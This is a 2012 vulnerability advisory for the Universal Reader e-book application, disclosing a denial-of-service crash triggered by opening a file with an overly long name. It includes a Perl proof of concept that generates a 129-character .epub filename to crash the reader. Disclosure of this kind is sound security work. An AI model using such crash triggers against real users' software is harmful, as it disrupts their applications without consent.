`Title: Universal Reader Filename Denial Of Service Vulnerability
Software : Universal Reader
Software Version : 1.16.740.0 (product version: 0.63.538)
Vendor: http://uread.superfection.com/
Vulnerability Published : 2012-05-12
Vulnerability Update Time :
Status :
Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)
Bug Description :
Universal Reader is a online/offline reader for reading polytype e-book files.
Universal Reader contains any denial of service vulnerability about openning long-name files. Success in exploiting this vulnerability will crumble uread.exe process.
Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl -w
$filename="a"x129;
print "------Generate testfile \"a\"x129.epub------\n";
open(TESTFILE, ">$filename.epub");
sleep(3);
close(TESTFILE);
print "------Complete!------\n";
exit(1);
-----------------------------------------------------------
Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / [email protected]
Pentester/Researcher
Dark2S Security Team/PolyU.HK
`
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